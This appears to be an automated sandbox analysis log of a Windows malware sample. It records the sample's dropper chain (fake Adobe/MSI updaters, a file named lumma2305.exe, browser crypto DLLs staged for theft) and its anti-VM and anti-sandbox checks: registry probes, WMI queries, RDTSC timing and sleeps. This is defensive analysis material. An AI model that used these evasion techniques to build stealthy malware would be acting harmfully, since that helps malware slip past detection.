Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSD20C.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSD20C.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSD20C.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: _C5tySJGGF0UA_S78re9UWIo.exe PID: 7140, type: MEMORYSTR

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Stalling execution: Execution stalls by calling Sleep

graph_5-53034

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: F2MwMOxTR5ZuDHHYSd2btGVy.exe, 0000000F.00000002.1896458066.0000000000717000.00000004.00000001.01000000.0000000F.sdmp

Binary or memory string: AHAL9THJOHNDOEAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	RDTSC instruction interceptor: First address: B8CA37 second address: B8CA4D instructions: 0x00000000 rdtsc 0x00000002 bts ax, si 0x00000006 add cl, FFFFFFCBh 0x00000009 rol cl, 1 0x0000000b bts edx, eax 0x0000000e shld eax, edi, 00000086h 0x00000012 bswap edx 0x00000014 neg cl 0x00000016 rdtsc
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	RDTSC instruction interceptor: First address: B8CA4D second address: B8CA56 instructions: 0x00000000 rdtsc 0x00000002 rol cl, 1 0x00000004 cmc 0x00000005 xor bl, cl 0x00000007 dec al 0x00000009 rdtsc

Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Memory allocated: 1CEBC300000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Memory allocated: 1CED5D00000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Memory allocated: 19D0000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Memory allocated: 34B0000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Memory allocated: 32F0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2B70000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2DA0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2CC0000 memory reserve \| memory write watch

Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Window / User API: threadDelayed 1192

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_5-53050

Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Dropped PE file which has not been started: C:\ProgramData\ECAKKKKJDBKK\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\mousehelper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-1NO40.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2305[2].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-TUB52.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-BHR8A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-0PCVG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-L2SK4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp120.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-R4926.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcr120.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5Xml.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Dropped PE file which has not been started: C:\ProgramData\ECAKKKKJDBKK\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-MBS2M.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Dropped PE file which has not been started: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-LCIAQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-LIOU6.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\TWO[1].file	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\openh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-SPMI0.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-HDAO7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-TP655.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-IC7L0.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-EA32K.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\pd2rJiO.cpl	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Dropped PE file which has not been started: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\avdevice-58.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5WinExtras.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\libcurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\QtAVWidgets1.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\spanCc4sVxQypGO1\svHbiLAWsgmJ0AGdyd6Z.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sqls[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\libmp3lame.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\Xv6O6ANXmRXk_nKzAGAD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-0UL97.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2305[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5Svg.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-Q006J.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\XUwnK\7De6QmGXH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Dropped PE file which has not been started: C:\ProgramData\ECAKKKKJDBKK\nss3.dll	Jump to dropped file

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_5-53150

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe TID: 744	Thread sleep count: 293 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe TID: 744	Thread sleep time: -58600s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe TID: 6660	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe TID: 3620	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe TID: 1028	Thread sleep count: 91 > 30
Source: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe TID: 7220	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8116	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7272	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp TID: 7460	Thread sleep time: -1351000s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00876000 CreateDirectoryA,FindFirstFileA,FindNextFileA,GetLastError,FindClose,	5_2_00876000
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00896770 FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	5_2_00896770
